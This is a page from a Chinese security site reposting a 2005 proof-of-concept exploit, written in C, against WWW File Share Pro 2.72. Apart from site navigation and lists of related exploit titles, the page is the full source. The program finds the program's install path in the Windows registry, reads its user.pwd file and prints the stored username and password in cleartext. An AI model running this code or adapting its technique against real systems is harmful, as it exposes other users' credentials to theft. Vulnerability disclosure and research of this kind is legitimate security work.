首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WWW File Share Pro Local Passwords Disclosure Proof of Concept Exploit
来源:www.netmagister.com 作者:Kozan 发布时间:2005-02-24  

WWW File Share Pro Local Passwords Disclosure Proof of Concept Exploit

/*****************************************************************

WWW File Share Pro 2.72 Local Exploit by Kozan

Application: WWW File Share Pro 2.72
Vendor:LionMax Software
http://www.lionmax.com/

Vulnerable Description: WWW File Share Pro 2.72 discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com

*****************************************************************/

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define BUFSIZE 100
HKEY hKey;
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

char *username, *password;

int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}

char *oku(char *FilePath)
{

FILE *di;
char cr;

int i=0;
char Feature[500];

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,0,SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == ',') break;

Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}

char *oku2(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == ',') break;

Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}

int main(void)
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL,
NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
printf("An error occured!\n");
return 0;
}

RegCloseKey(hKey);

}
else
{
RegCloseKey(hKey);
printf("An error occured!\n");
return 0;
}

strcat(prgfiles,"\\WWW File Share Pro\\user.pwd");

printf("WWW File Share Pro 2.72 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n\n");
printf("This exploit only shows the first record.\n");
printf("You may improve it freely...\n\n");

try
{
username = oku(prgfiles);
printf("Username1: %s\n",username);
char password1_temp[BUFSIZE];
wsprintf(password1_temp,"%s%c",username,0x2C);
password=oku2(prgfiles,password1_temp);
printf("Password1: %s\n",password);

}catch(...){ printf("An error occured!\n"); return 0; }

return 0;

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·eXeem Local Passwords Disclosu
·SendLink v1.5 Local Passwords
·Chat Anywhere Local Passwords
·PeerFTP v5 Local Passwords Dis
·Arkeia Network Backup Client A
·3Com 3CDaemon FTP Server Overf
·Multiple Vulnerabilities in Tr
·Metasploit Framework Credits
·Knox Arkeia Server Backup Stac
·AppleFileServer LoginExt PathN
·Linux Vulnerability Allows Non
·AOL Instant Messenger goaway O
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved